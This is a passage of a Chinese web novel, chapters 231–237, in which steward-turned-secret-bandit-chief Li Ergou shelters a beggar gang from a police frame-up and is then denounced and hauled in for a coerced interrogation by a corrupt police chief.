秀才不知道李二狗的底细,不敢随便表露自己态度。 “是啊,我也听说了,实在是可惜,那么多小麦,哎……” “现在警察怀疑歹徒就是你们这些当晚扛活的人。” “什么?他娘的,警察怎么能血口喷人呢?我们就是想干也得有这个本事才行。” “真不是你们做的?” 秀才高声嚷道:“先生你这话什么意思?当然不是我们做的!” 李二狗说道:“秀才大哥,你不要激动,我没有怀疑你们。” “先生,我们行的端做得正,没做亏心事,不怕鬼敲门,那些警察休想平白无故地往我们头上扣屎盆子!” “秀才大哥,你糊涂啊,你知道那些粮食是谁的吗?” “当然是县政府的,除了政府,谁还能有那么多粮食?” “哎,秀才大哥,你太幼稚了,现在灾情这么严重,如果那些粮食是县政府的,政府不拿出来赈灾,怎么还往外运呢?” “你说的确实有道理,”秀才沉吟道,“那是谁的?” 李二狗冷哼一声,问道:“江东县谁最大?” “当然是县长,”秀才惊讶不已,“你是说那些粮食都是县长的?” “让你猜对了,就是县长大人的!” 秀才说道:“怪不得人家都说三年清知府,十万雪花银,这些当官的,只顾着自己贪污腐败,根本不顾及我们这些普通老百姓的死活,粮食被抢了活该!” 秀才说完,才意识到自己不该在李二狗面前说这些话,既然李二狗当初来雇人,那他肯定也是政府的人,说不定还是县长的狗腿子! “先生,你找我到底什么事?” “秀才大哥,我刚才已经说过了,现在警察怀疑歹徒就是你们这些当晚扛活的人。” “他们有证据吗?没有证据他们难道还敢随便抓人吗?” “秀才大哥,你怎么还是这么糊涂啊,这年头警察抓人还需要证据吗?” 秀才沉默了,警察抓人确实不需要证据,他们骑在百姓头上作威作福惯了,百姓在他们眼中不过是任人宰割的牛马。 “可他们抓我们这些身无分文的乞丐有什么用?” “你想想,县长损失了那么多粮食,他能不生气吗?他已经严令警察局限期破案,那些警察要是破不了案,头上的大盖帽就保不住了,肯定得找个替死鬼。” “哼,那正好,我们这些人吃了上顿没下顿,干脆去吃吃牢饭,也省得到处要饭了。” “秀才大哥,你太糊涂了,你以为那些警察会把你们抓进去?别做梦了,他们绝对不会给你们开口说话的机会。” “不让我们开口说话?他们想怎么样?” 李二狗冷笑道:“怎么样?只有死人才不会说话!” 秀才吓得呆若木鸡。 “这不是草菅人命吗?警察怎么能这么干!” “他们要的只是破案,他们完全可以说你们拒捕被当场击毙!你们连喊冤的机会都没有!” “他娘的,这群警察真是坏透了!”秀才突然意识到不对,他盯着李二狗,吓得不禁后退两步,“先生,你和他们不是一伙的吗?为什么要告诉我这些?” 第232章 杆子帮 李二狗叹息一声,说道:“实不相瞒,你们是我找来的,如果警察最后认定是你们干的,我担心会连累到我。” “那先生的意思是?” “趁现在他们还没有找到你们,你们赶紧离开这里,走得越远越好。” 秀才以前是杆子帮在江东的头目,离开江东,他实在不知道该去哪里。 “我秀才在江东生活了大半辈子,没想到临了还得背井离乡,哎!真给我们杆子帮丢人呐,要是以后遇见我们大杆子,我这张脸真是没地放了。” “秀才大哥,你是杆子帮的?” 当初民国成立之后,杆子帮大杆子便解散了杆子帮,让弟兄们回家种地养老。 这一闹灾荒,原来江东杆子帮的兄弟又找到秀才,大家凑在一起,抱团取暖。 李二狗小时候听村里老人讲过杆子帮的故事,他们除恶扬善、扶贫济弱的故事李二狗耳熟能详。 秀才深深地叹了一口气,说道:“哎,我实在是没脸承认自己是杆子帮的,我给杆子帮丢人了!” “秀才大哥,我从小就佩服你们杆子帮,除恶扬善,扶贫济弱,只是不知道为什么这些年没有了你们动静?” “哎,前些年,政府不允许民间拥有私人武装,我们大杆子也想让兄弟们回家过几天太平日子,便解散了杆子帮。这不今年闹饥荒,兄弟们在家实在过不下去了,又回来找我,我也是无能啊,不能让兄弟们有口饱饭吃。” 李二狗从小便佩服杆子帮的人,在他心目中这些人都是英雄好汉,如今因为自己的原因,害得他们背井离乡,心下便有了收纳之意。 “秀才大哥,你们有多少人?接下来有什么打算?” “原来人多,可这段时间饿死了不少人,现在只剩下二十多号人了,如果警察真的要拿我们当替罪羊,我们只能离开这里了,我自己倒没什么,但我不能害了这些兄弟。” “秀才大哥,你听说清风寨吗?” “清风寨?听说过,那不是土匪窝吗?” “我听说现在清风寨和以前不一样了,他们劫富济贫、锄强扶弱,是一支很有组织性纪律性的队伍,你们可以考虑一下上山投奔。” “哎,多谢先生好意,不过我们杆子帮有祖训,一旦加入杆子帮,终身不能当土匪。” “清风寨从不欺压良善、为非作歹,他们和普通的土匪不一样。” “就是再不一样不也是土匪吗?土匪不靠打家劫舍靠什么生存?” “现在是特殊时期,你带这么多人背井离乡,恐怕用不了多久都得饿死在路上,我在清风寨有相熟的同乡,我可以介绍你们进去。” 秀才犹豫了,上山当土匪至少可以解决兄弟们的温饱问题,可是当了土匪又违背了杆子帮的祖训。 “秀才大哥,其实清风寨现在真的不是土匪窝,你们可以去看看,如果不合适可以再离开。” 秀才凝视着李二狗,问道:“先生,你到底是什么人?” “我是什么人并不重要,重要的是我敬佩你们杆子帮。” “可我们这么多人,人家清风寨能收留我们吗?我知道,现在灾情严重,清风寨的日子肯定也不好过。” “放心吧,秀才大哥,我和他们老大是同乡,他们肯定会卖我一个面子,而且他也敬佩你们杆子帮,一定会收留你们的。” “先生,这么大的事情我一个人也决定不了,我还得问问兄弟们的意见。” “秀才大哥,事不宜迟,不管你们去不去清风寨,这里肯定是待不下去了,我建议你们今晚就离开,免得夜长梦多。” “好,我这就去和兄弟们说,我秀才多谢了。” 李二狗从兜里掏出二十块大洋塞到秀才手中。 “先生你这是做什么?无功不受禄,万万使不得!” “秀才大哥,你听我说,上次雇你们没给工钱,其实我也是身不由己,这二十块大洋你们就留着路上用吧。” 秀才攥着大洋,感动不已。 “那就谢谢先生了。” “秀才大哥,不管你们去不去清风寨,我都会和他们提前打好招呼,我建议你们还是去看看,这年头能活下去才是最重要的。” “我会好好考虑的。” “保重,我们后会有期!” “后会有期!” 看着李二狗离去的背影,秀才虽有些不理解他的所作所为,但想到如今他们一无所有,实在是没有担心的必要。 秀才为了以防万一,让兄弟们分散出城,他已决定带兄弟们投奔清风寨。 李二狗本想去找孙竹刚打探一下情况,但想到现在已是深夜,便打消了这个主意,他担心孙竹刚会怀疑他。 他骑马直接上了清风寨。 见到李二狗,李素文开心极了,她直接给李二狗来了一个饿虎扑食。 李二狗笑道:“你小点动静,望冬还在隔壁。” 李素文一张俏脸红扑扑的。 “你讨厌!” 两个人腻歪了一番才算作罢。 “问了吗?望冬怎么说?” “问了,她说自己还是舍不得离开我。” “没想到望冬这丫头对你感情这么深。” “是啊,望冬身世很可怜,有时候我真想让你把她一起娶了。” 李二狗笑道:“我倒是愿意,就怕你吃醋。” “你讨厌!”李素文小粉拳捶打着李二狗的胸口,“我是那么小气的人吗?我只是不想让望冬觉得委屈,她和我在一起,永远觉得自己是个丫鬟。” 李二狗抱紧李素文,说道:“素文,你真善良,望冬跟着你,也是她的福分。” “我只是希望她能找到自己的幸福,就像我一样,嘻嘻。” 李二狗把李素文抱得更紧了,他内心对她一直怀有一种深深的愧疚感,他觉得自己对不起她的深情! “那望冬答应了吗?” “答应了,我查了查黄历,下个月初八是个好日子,等到那天就让老三把望冬接过去吧,这样也算了了咱们的一桩心事。” 李素文说完竟躺在李二狗怀里抽泣起来,小小的身体蜷缩在李二狗怀里发抖。 李二狗只能紧紧抱着她,内心的千言万语竟一句安慰话也说不出来。 第233章 李素文说服李二狗 一大早,山寨里就吵吵起来。 “嫂子在家吗?” 李二狗听出是宋孬蛋的声音,便打开院门。 “狗哥,你什么时候回来的?” “昨晚回来的,外边吵吵什么的?” “我本想着向嫂子请示一下,正好你在,外边来了一群人,说是要投奔咱们清风寨,还说是认识你的同乡推荐他们来的。” 李二狗没想到秀才他们这么快就赶到了。 “孬蛋,有件事我还没来得及和你们商量,你听说过杆子帮吗?” “听说过啊,杆子帮除恶扬善,扶贫济弱,小时候我经常听他们的故事,不过这些年有些销声匿迹了。” “要来投奔的这群人就是杆子帮。” “啊?狗哥,不会吧?你怎么知道他们是杆子帮?我看他们就是一群乞讨要饭的,怎么可能是杆子帮的英雄?” “孬蛋,我说你小子没见识你还不高兴,杆子帮不就是一群叫花子吗?这你都忘了?” 宋孬蛋摸着脑袋尴尬一笑:“你不说我还真忘了,可杆子帮销声匿迹这么多年,他们说自己是杆子帮,咱们可不能就轻易相信呐。” 在处理杆子帮这件事上,李二狗确实有些轻率。 心急则乱,李二狗最近这段时间是有些着急了。 “你说得对,咱们是不能轻信他们,但人家现在落难来投奔咱们,咱们可不能把他们拒之门外,省得外边人说咱们清风寨容不下英雄好汉,你说呢?” “狗哥的意思是同意他们入伙?” “同不同意他们入伙暂且不说,我看咱们先把他们留下来,先观察一段时间再说。” “那好,我现在就去告诉他们。” “还有,那个领头的叫秀才,和我认识,你可千万别说漏了嘴,现在还不能让他知道我的真实身份。” 宋孬蛋说道:“狗哥,我看你以后还是别回胡家大院了,咱们兄弟一起在山寨大碗喝酒大块吃肉岂不快哉?省得你每次回山寨都得蒙着面,兄弟们私下都在议论你呢。” “议论我什么?” “嘿嘿,我说了你可别不高兴。” “有话快说,有屁快放!” “他们说你爱装逼!嘿嘿,这可不是我说的。” “少他娘的扯淡,快去办正事,你嘱咐弟兄们,对杆子帮这群人客气点,但是也要注意保持距离。另外,你忙完这件事下山去打探打探他们的底细。” “放心吧,狗哥,我去了。” 李二狗回到屋里,问道:“孬蛋经常来问你事情?” “是啊,每次我都告诉他,山寨的事不用问我,我又不懂,再说,我自己是什么身份我心里有数,我才不会掺和你们山寨的事。” 李二狗对宋孬蛋的态度十分满意,当然宋孬蛋也有自己的小九九,他遇事就来请示李素文的事早晚也会传到李二狗耳朵里。 他玩笑道:“你是清风寨的压寨夫人,他们对你尊重一些也是应该的。” “哼,我才懒得管你们的事,我管好我们娘子军就行了。” 提到娘子军,李二狗想到一些事情。 “素文,听说你现在把娘子军带得不错,都学会放枪了?” “嘻嘻,你都听说了?我一定要把这支娘子军训练成一支有战斗力的队伍,至少不能比你们男人差。” “意思意思就行了,你可别当真啊,你见过哪个女人舞刀弄枪的?不小心在伤着自己就有些得不偿失了。” “哼,你看不起女人!谁说女人不能舞刀弄枪?古有花木兰替父从军,今有娘子军扛枪为自己,你可千万不要小瞧了我们。” 李二狗怀疑李素文走火入魔了。 “素文,你听我说,咱们当初成立这支娘子军是为了山寨兄弟们能讨个媳妇,你这天天舞刀弄枪的,她们哪还有心思在家相夫教子啊?” “哼,说到底你还是瞧不起我们女人,总有一天我要让你对我们刮目相看。” “我没有瞧不起你们女人,但是男女是有分工的,女人嫁给男人生孩子是天经地义的。” 话刚说出去,李二狗就意识到自己戳到李素文痛处了,不能生孩子是她心里的伤疤,李二狗恨不得扇自己一个大耳刮子。 好在李素文并没有在意,她只是对李二狗的态度非常不满意。 “二狗,我告诉你,男人女人都是一样的,我们女人照样可以扛枪保护自己。” 李二狗心想,李素文新鲜劲还没过去,现在他说什么她都听不进去,还是交给时间吧。 “好吧,你执意要把她们训练成虎狼之师我也没有办法,你就不怕你们这群母老虎嫁不出去吗?哈哈!” “我……我打你,让你胡说。”李素文一脚踢在李二狗的屁股上,李二狗故意疼得龇牙咧嘴,训练还真有成效。 李素文说道:“不开玩笑了,我给你说点正经的。” “说吧,说完正经的咱们再说不正经的,嘿嘿。” “我没和你开玩笑,你正经点。” 李二狗只好收起笑容,说道:“好好,你说吧,什么正经事?” “通过最近这段时间的训练,我发现对于我们女人来说,步枪有点太长了,使用起来也不方便,我想着你能不能多买些驳壳枪,我们姐妹都用驳壳枪。” “姑奶奶,你知道一支驳壳枪多少大洋吗?你这两片嘴唇子上下一动倒是怪容易。” “怎么?这点大洋都舍不得?李二狗,我没想到你这么小气!哼!” 李二狗当然不是舍不得大洋,他只是不想李素文瞎胡闹。 还每人一把驳壳枪,那还不如每人发一把冲锋枪,突突起来就厉害。 女人毕竟是女人,早晚都得嫁人,瞎折腾什么劲! “素文,你听我说,我不是舍不得大洋,是我担心你累着,再说,她们也不一定愿意。” “怎么不愿意?我一和她们说,她们开心得不得了,二狗,我觉得你不懂我。” 李二狗把李素文揽在怀中,柔声安慰道:“谁说我不懂你?我只是心疼你,你看你这白白嫩嫩像煮熟鸡蛋白一样的小手,我怎么舍得你舞刀弄枪?” “可我愿意啊,人最开心的不就是做自己愿意做的事吗?” 李素文这一句打动了李二狗。 男人总是打着为女人好的名义替女人做决定,可他们却总是忽略了女人真正的需求。 第234章 张大发狗急跳墙 李二狗通过吴有德购买的枪支弹药已经送到胡家大院,张二驴正组织家丁进行训练,胡家大院的守卫力量得到了空前加强。 此时,再与凤凰镇民团进行合作已经完全没有必要。 三天后,一直没有等到消息的张大发再次来到胡家大院。 李二狗故意躲着不见他,让张二驴出面接待。 “二驴,你们李管家的架子可真是越来越大了。” 张大发翘着二郎腿,根本不把张二驴放在眼里。 张二驴作为胡家大院的协管,也是有一定身份地位的人,张大发却直呼其名,不过他始终表现出一副恭敬的态度。 “张队长,您这是说得哪里话?我们李管家正好有事出去了,昨天晚上他还说要亲自去凤凰镇拜访您。” “呵呵,你们胡家大院家大业大,我知道,你们看不上我们一个小小的凤凰镇民团,不过人一定得讲信誉,出尔反尔伤害的可是你们胡家大院的名声,你说呢,二驴?” 张二驴故意装糊涂。 “张队长,我们胡家大院一向说话算话,不知道您说得出尔反尔指的是什么?” “呵呵,二驴,你小子和我装糊涂是不是?跟着你们李管家就不学好。” 张二驴依然是一副恭敬的态度。 “张队长,有话您不妨直说,如果我们有什么做得不对的地方,我们一定改正。” “你们李管家真没给你说?” “张队长,我真的不知道您说的是什么事,你告诉我,回头我告诉李管家。” “三天前,李管家在这里亲口答应我,说向你们大奶奶汇报你们胡家大院和我们民团联防联保的事情,难道他都忘了?” “奥,原来是这件事啊,张队长,这事怪我,早上李管家出门前特意交代,让我亲自到凤凰镇跑一趟,告诉您我们大奶奶的决定,没想到我这还没来得及去,您就来了。” 张二驴这话倒显得张大发心急了,他略显尴尬地说道:“你们大奶奶什么决定?” “实不相瞒,张队长,我们胡家大院自从老爷生病住院之后,一直入不敷出,今年又恰巧赶上灾年,租子根本收不上来,现在都快没米下锅了。” “什么?地主家也没有余粮了?呵呵,二驴,你上坟烧报纸,糊弄鬼呢?谁不知道你们胡家大院家大业大,那点钱对你们来说,不过是九牛一毛罢了。” “哎呀,张队长,去年胡家大院被土匪抢劫一空,在整个江东县谁人不知?我真的没有骗你!” “瘦死的骆驼比马大,再说你们就不怕被土匪盯上吗?这年头,土匪发起狠来可是连人都吃!” “张队长,您可别吓唬我们,不过即使真有事,凭您和我们李管家的关系,也不能见死不救不是?” “呵呵,我和你们李管家还有关系吗?他先不仁,就别怪我不义了,告辞!” “张队长,吃完午饭再走呗,我们李管家说不定下午就回来了。” “回头告诉你们李管家,要想人不知,除非己莫为。” 看着张大发离去的背影,张二驴嘴角露出一丝鄙夷的神色。 “李管家,这个张大发不会狗急跳墙,做出什么对咱们胡家大院不利的事情吧?” “二驴,最近一定要加强防守力量,二十四小时不能离岗,尤其是晚上,十点之后一律不许开院门,把那两挺机枪都架到角楼上。” 李二狗觉得自己在处理张大发这件事情上做得有些欠妥,他不应该躲着张大发,对于张大发这种人,给他一点好处也许事情就解决了,宁得罪君子,不得罪小人。 不过一星半点也满足不了张大发的胃口,关键还是李二狗吃软不吃硬,他最痛恨的就是别人威胁自己。 李二狗赶到县城,来到孙竹刚家里。 严婆惜见到李二狗,两眼放光。 “二狗兄弟,你这些天去哪了?嫂子都想死你了,快进屋。” “嫂子,先别急,我有急事找大哥,你快打电话让大哥回家一趟。” 严婆惜早已急不可耐。 “二狗,什么事情能比咱俩的事还着急?你也跟我进屋,忙完了我再给你大哥打电话。” 说着就把李二狗往卧室里拽。 “嫂子,十万火急,你快去给大哥打电话,大哥赶回家也得二十分钟,咱们有时间。” 严婆惜这才去给孙竹刚打电话。 接电话的是一个男子,并不是孙竹刚。 听到是严婆惜,对方热情地说道:“是嫂子啊,孙局长出去了,没在办公室。” 李二狗轻轻说道:“问问去哪了?什么时候回来?” “他去哪了?什么时候回来?”严婆惜问道。 “好像是去仙人洞镇了。” 李二狗一听,孙竹刚应该是去找自己了。 严婆惜挂断电话,有些迫不及待地说道:“他不回来正好,咱们时间更充裕些。” 李二狗此时哪还有心情和严婆惜腻歪。 “嫂子,大哥去仙人洞镇肯定是去找我,我得赶紧赶回去,改日我一定好好补偿你。” 李二狗说完就走,急得严婆惜直跺脚。 “什么事也不急在这十几分钟啊?哎,真气人!” 李二狗骑马往回赶,在半路上遇见一辆警车。 车在疾驰中突然停了下来,孙竹刚从车里走了下来。 “大哥!我这到县城去找你,他们说你去仙人洞镇了,我便急着往回赶。” “二狗兄弟,我这找不着你,都快急死了,出事了。” “出什么事了?” “凤凰镇民团队长张大发你熟悉吧?” 李二狗没想到张大发的动作这么快,幸好他提前做了准备。 “认识,不过不是很熟悉,怎么了?” “他把你举报了!” “举报我什么?” “举报你抢劫县政府的小麦。” “放他娘的狗屁!这个张大发什么时候变成疯狗了?见谁都咬!” “二狗兄弟,这里没有外人,你和大哥说实话,你到底有没有做?” “大哥,我怎么可能去做这种事情?胡家大院又不缺粮食?” “可张大发说得言之凿凿……” 孙竹刚直视着李二狗的眼睛,想从他的眼睛里发现一丝端倪。 第235章 光明正大地做个土匪不好吗? 李二狗痛骂道:“张大发想敲我们胡家大院的竹杠,我没同意,他就挟私报复,实在是小人行径,你可千万不能相信啊。” “兄弟,咱们是什么关系我心里有数,不然我也不会这么急着找你。现在问题的关键是张大发直接找的牛得水,牛得水若获至宝,这时候估计已经把消息报告给了王正直,你得做好心理准备才是。” 李二狗说道:“我身正不怕影子歪,他们也不能没有证据就胡乱冤枉好人吧?” 孙竹刚一直怀疑问题出在雇佣的那群短工身上,而那群短工正好是李二狗雇的,现在李二狗又被人举报,这一切实在是太巧合了。 “二狗兄弟,那些短工你是在哪里雇的?” “城西的关帝庙。” “那群人到底有没有问题?” “大哥,我就是在关帝庙那边遇到一个人,他答应帮忙找一群短工,至于那些人有没有问题,我实在是不知道啊。” “不管那些人有没有问题,一定不能让牛得水找到他们。” “他们就是一群乞讨的人,居无定所,应该不好找。” 听李二狗如此说,孙竹刚就放心了。 “二狗兄弟,你也别担心,你和王县长的关系非比寻常,他牛得水并不知晓,我相信王县长不会没有证据就冤枉你。” 李二狗倒不担心王正直会把自己怎么样,他担心王正直会趁机敲竹杠。 不过对付王正直这样的人,李二狗倒是颇有心得。 “王县长那边我倒并不担心,我是担心牛得水抓住此事大做文章,我向王县长推荐你的事,在县里可都传开了。大哥,他牛得水明着是对我开刀,其实是想放你的血。” “哼,牛得水想借着此事大做文章,我绝不会让他得逞。” “大哥,接下来我该怎么办?” “你先回去,我估计牛得水很快就会派人叫你去局里问话,不过你放心,有我在,他不敢乱来。” “好,我都听大哥的。” “我得回去了,回去晚了恐引起他的怀疑。” 两人分别后,李二狗直接去了清风寨。 此事的关键在于牛得水,如果牛得水借此机会非要把罪名安在李二狗身上,还真得很棘手。 李二狗知道,警察局根本就不是一个能讲理的地方! 但他绝不会坐以待毙! “孬蛋,我记得山寨有个兄弟擅长模仿别人写字是吗?” “是啊,怎么了,狗哥?” 李二狗便把自己刚刚想到的一个计划告诉了宋孬蛋。 “孬蛋,此事关系重大,一定不能有任何闪失。” “放心吧,狗哥,我现在就带他去县城。” “还有,凤凰镇民团队长张大发举报我抢劫轮船,警察局应该会找我去问话。” “这狗日的张大发,老子今晚就带人办宰了他。” “万万不得,这时候张大发出事反而显得我做贼心虚。” “那怎么办?我们不能眼睁睁看着你进警察局受苦啊,要不你还是待在山寨别下山了。” “我不下山不更显得我做贼心虚吗?” “哪怕什么?光明正大地做个土匪不好吗?” 李二狗很多事情无法和宋孬蛋解释。 “现在还不到时候,你就记住,无论我在警察局发生什么,你都不要带弟兄们下山去救我,听明白了吗?” “狗哥,这怎么行?你出了事我们肯定要去救你。” “你放心,凭我和孙竹刚的关系,我不会有事,山寨就这几个人想去劫狱,无异于送死,切记不可!” 宋孬蛋心想,到时候真出了事,就由不得你同不同意。 “好,我听你的。” “快去办吧。” 李二狗下山回到胡家大院。 张二驴正在院门口翘首以望。 “狗哥,刚才县警察局孙局长来找你,我说你去县城了,看样子他挺着急的。” 李二狗“嗯”了一声,直接进了院门,张二驴赶紧跟了上去。 “我在路上碰到他了。 在张二驴的固有印象中,警察找你就是天大大事。 “什么事啊?这么着急?” “张大发向县里举报我劫了县政府装粮食的轮船。 “这条疯狗,这不是血口喷人吗?我一定饶不了他!” “二驴,待会警察局可能会来人把我带走。” 张二驴发狠道:“那我现在就去集合人,大不了和他们拼了,一定不能让警察把你带走!” 李二狗盯着张二驴,张二驴被他的眼神吓了一跳。 “怎么了,狗哥?我做得不对吗?” 李二狗拍了拍他的肩膀,说道:“二驴,不是你做得对不对,是你不能这么做。” “可我也不能眼睁睁地看着警察把你抓走啊?进了警察局,铁人都得脱层皮!” “公然和警察作对,会害死整个胡家大院的。” “可……狗哥,要不然你逃走吧,先出去避避风头再说。” 李二狗盯着张二驴不说话。 “狗哥,你可别多想,我没有那个意思,不然让我天打雷劈,不得好死!” 李二狗笑了笑,说道:“二驴,我要是不信任你,当初我能让你当协管吗?你放心好了,警察只是叫我去问一问情况,不会有事的。” “狗哥,要不然咱们提前打点打点那些警察?” “先等等再说吧!二驴,今天晚上一定要加强大院的防守,我怕有人会趁机来打劫。” “狗哥放心,今晚我亲自带队,所有人取消轮休,全部到岗到位,就是一只耗子也进不来。” “如果遇到危险,什么都不要管,就拿子弹招呼他们。” “我记住了,狗哥。” “还有,我的事先不要告诉大奶奶。”李二狗想了想,转而说道:“算了,还是我去和她说一声,这事想瞒也瞒不住。” 李二狗来到于兰芝院子里,于兰芝正抱着梦瑶在屋檐下晒太阳。 “梦瑶,快看看是谁来了呀?” 胡梦瑶“咯咯”笑了起来,听得李二狗心里一阵温暖。 “让我来抱抱。” 李二狗接过梦瑶抱在怀里。 “二狗,你看闺女那眉眼,长的可真像你。” “兰芝,这话你可别说秃噜了嘴,小心隔墙有耳。” “怕什么?胡家大院还不是咱说了算?再说,我就在自己院里说说,看把你紧张的。” 第236章 李二狗被抓 李二狗没有说什么,他招手把迎春叫过来,把梦瑶交给她。 “迎春,你抱大小姐去屋里,我和大奶奶说点话。” 迎春抱着胡梦瑶进了屋,于兰芝问道:“什么事这么神神秘秘的?” “我被人告了,待会警察可能会来带我去警察局问话。” 于兰芝一听,当时吓傻了。 “谁告得你?告你什么?” “没事的,你放心,是诬告,我去警察局解释清楚就行了。” “警察那里能解释清楚吗?要不咱们还是跑吧?”于兰芝急得哭了起来。 “兰芝,你听我说,真的没事,我去去就回,怕你担心才来告诉你一声。” “真的没事?” “真的没事!” 于兰芝靠在李二狗身上,柔声说道:“那就好,二狗,你可不能丢下我们娘俩,没有你,我和梦瑶都活不了了。” “放心,我不会丢下你和梦瑶的。” 李二狗被警察带走的消息,像一阵风一样瞬间传遍了整个胡家大院。 “李管家到底犯了什么罪?怎么被警察局带走了?” “警察局带走一个人还需要理由吗?” “那李管家还能回来吗?” “这谁知道?不过,我分析应该够呛,你见过几个进了警察局还能安然无恙出来的?” “我听说李管家杀了人,这次应该回不来了!” “啊?杀人那可得偿命啊!那咱们怎么办?” “还能怎么办?走一步看一步呗!” 张二驴听着大家议论纷纷,没想到消息传的这么快还这么邪乎。 他迅速把家丁和丫鬟们聚集到一起。 “相信大家都已经听说李管家的事了。” 下面顿时骚动起来,开始窃窃私语。 张二驴目光锐利地环视一圈,大家才安静下来。 “警察带李管家回局里只是了解一些情况,他很快就会回来,没想到却传出这么多谣言,这让我很痛心!” 张二驴再次目光锐利地环视一圈。 “是谁我就不点名了,如果有人想离开胡家大院,现在就站出来,我马上发路费。” 大家鸦雀无声。 “既然大家都不想离开,我不希望再听到任何谣言,否则立马给我滚出胡家大院,大家都听明白了吗?” “听明白了!” “护院家丁留下,其他人解散。” 张二驴精心挑选了十名家丁,他们个个都是身强体壮、肌肉发达。 “现在是特殊时期,我来布置一下任务。今天晚上,所有人全部取消轮休值夜班,必须确保胡家大院的绝对安全。” “是!” “好,现在大家都回去休息,晚上七点务必全员到位,解散!” 张玲玉听到风声,来到于兰芝院子里。 “大姐,李二狗到底怎么回事?他怎么被警察带走了?” 于兰芝故意说道:“我怎么知道他怎么回事?迎春刚刚告诉我,外边都在传他杀了人。” 张玲玉吓得脸都白了,李二狗要是出了事,她在胡家大院可就真得待不下去了。 “大姐,你可别吓我,你说得是真的?” “这还能有假?警察都上门了。” “大姐,你快点想想办法救救李管家啊。” “自作孽,不可活,李二狗要是真杀了人,他就得偿命,谁也救不了他!” 张玲玉没想到于兰芝如此狠心。 “大姐,他可是大小姐的亲爹,你就忍心看着他去死?” “张玲玉,你信口胡说什么?大小姐和李二狗有什么关系?再敢胡说,我立即把你赶出胡家大院。” “你……没想到你竟是一个提上裤子不认人的女人,李二狗真是瞎了眼。” 张玲玉摔门而出,于兰芝确信李二狗和张玲玉之间肯定有不可告人的秘密。 张玲玉直接找到张二驴。 “二奶奶,李管家只是说有人诬告他,具体发生了什么我也不清楚。” “他不是杀人?” “不是杀人!李管家怎么会杀人呢?” 张玲玉的心从嗓子眼终于回到肚子里。 “不是杀人就好,不是杀人就好。” 张二驴只知道李二狗和于兰芝有不清不楚的关系,这次从张玲玉对他的态度来看,他俩之间肯定也有说不清道不明的关系。 张二驴羡慕极了,像张玲玉这种人间极品女人,哪怕只是搂一搂、亲一亲,也死而无憾了。 “二奶奶,李管家不会有事的,您放心好了。” 张玲玉扭着纤细的腰肢走了,看得张二驴口水流得好长。 李二狗被带到警察局之后,牛得水亲自参加对李二狗的审问。 “李二狗,知道为什么把你带到警察局吗?” “牛局长,我这也纳闷呢,我正在家吃饭,你们就不由分说就把我带到这里来,我还想问您,到底为什么把我带到这里来?” 牛得水冷笑道:“李二狗,你接着演,继续给我装糊涂!我告诉你,到了这里,你休想蒙混过关,我有一万种办法让你开口。” 李二狗快速回想了一下,确认所有的风险点都已被他排除,他不怕牛得水的威胁。 “牛局长,咱们是老相识了,我是什么样的人您是了解的,咱们就别绕弯子了,有什么话您还是直说吧。” “哈哈,李二狗,要想人不知,除非己莫为,你以为自己做得神不知鬼不觉,其实早就被人暗中发现了。” “发现什么了?哎呀,牛局长,咱们时间都很宝贵,有什么话您就直说,何必这样绕来绕去呢?真是急死人了!” 其实牛得水对于张大发的举报并不是很相信,这么大的事情,李二狗一个小小的土财主家的管家根本做不到。 但李二狗和孙竹刚关系非同一般,如果能借着这次机会扳倒孙竹刚,自己就能坐稳警察局局长的位子。 “李二狗,你现在主动交代,我算你自首,否则就是罪加一等!” 李二狗依然表现出一副无辜的表情。 “牛局长,我真的什么都不知道。” 牛得水猛地一拍桌子,呵斥道:“哼,敬酒不吃吃罚酒!我问你,你是如何抢劫两艘轮船的?背后指使之人是谁?你的同伙还有谁?” 第237章 皮鞭子蘸盐水 李二狗突然站起身,大声喊道:“牛局长,您可不能冤枉好人啊!什么抢劫轮船?这么大的罪名我可担不起!” “既然知道自己担不起,那就老实交代,说,你是受谁指使?同伙还有谁?” “我根本没有抢劫轮船,哪里有什么幕后指使之人?牛局长,我冤枉啊,我比窦娥还冤!” “李二狗,都这时候了你还在这里装无辜!我告诉你,事发当天,有人亲眼在轮船上见过你,你还想抵赖吗?” “谁见过我?我要和他当面对峙!他娘的,这不是血口喷人吗?” 牛得水起身走到李二狗身边,面带笑容,一副成竹在胸的表情。 “李管家,咱们是老相识了,只要你说出幕后指使之人,我可以向王县长求情,保证让你免受牢狱之苦。” “牛局长,我没有做过的事,您不能让我认啊。” “李二狗,你怎么还想不明白?这件事一定要有人站出来承担责任,不是你,就是我,也可能是他,无论是谁,我们总得对王县长有个交待不是?” 李二狗故意问道:“牛局长,我不明白您的意思。” “这次轮船被劫,背后有没有监守自盗的可能?李管家,我知道你和某些人的关系很好,可关系好有什么用?不照样把你抓进来了吗?他能保得了你吗?” 李二狗明白了,牛得水是想让李二狗承认幕后指使之人是孙竹刚。 “牛局长,我根本没有做过的事,我怎么承认嘛?您这不是让我昧着良心说瞎话吗?我李二狗绝不是这种不仗义之人!” “做没做是你说了算吗?我明确告诉你,李二狗,到了这里,我说是你做的就是你做的!你甚至连反驳的机会都没有!” 李二狗大喊一声:“我要见王县长!” 牛得水狞笑道:“王县长是你想见就能见的吗?你算个什么东西!李二狗,你再不承认,老子可就不客气了!” “牛局长,你是想屈打成招吗?” “哈哈,到了这里你竟然还抱有不切实际的幻想,不给你一点厉害尝尝,你真是不把我们警察局当回事!来人,先让李管家尝尝皮鞭子蘸盐水的滋味。” “放开我!你们这是逼供!我要告你们!” “哈哈,告吧!不过得等你能从这里走出去再说,动手!” 两个警察上前,把李二狗架到一个木质十字架前,又来了两个警察,把李二狗的四肢绑在柱子上。 “我再给你最后一次机会,只要你说出幕后指使之人,我可以保证你的人身安全。” “我根本就不知道你在说什么!” “给我打!” “住手!” 审讯室的门突然开了,孙竹刚怒气冲冲地闯了进来,他没想到牛得水动作如此之快。 “孙局长,我正在审问重要犯人,有什么事等我审完再说。” 孙竹刚没有丝毫退缩之意。 “牛局长,李二狗到底犯了什么罪?你竟要动大刑!” “他犯什么罪,等我审完就知道了,你现在出去,不要耽误我审问犯人!” “牛局长,如果你审问犯人的方式就是屈打成招,我作为分管日常工作的副局长,我明确提出反对意见。” “你反不反对没有用,现在是我在审问犯人,你有什么意见等着局里开会的时候再提,你现在出去,不要耽误我审案。” “牛局长,轮船被劫案一直是由我负责的,王县长是同意的,现在有人举报李二狗和轮船被劫案有关,我需要和他核实一些情况。” “等我审完你再核实!你现在给我出去!来人,把孙局长请出去!” 孙竹刚没想到牛得水发疯了,但他是局长,自己只是一个副局长,这样公然对抗,自己肯定吃亏。 一个警察上前恭敬地说道:“孙局长,请您先出去!” 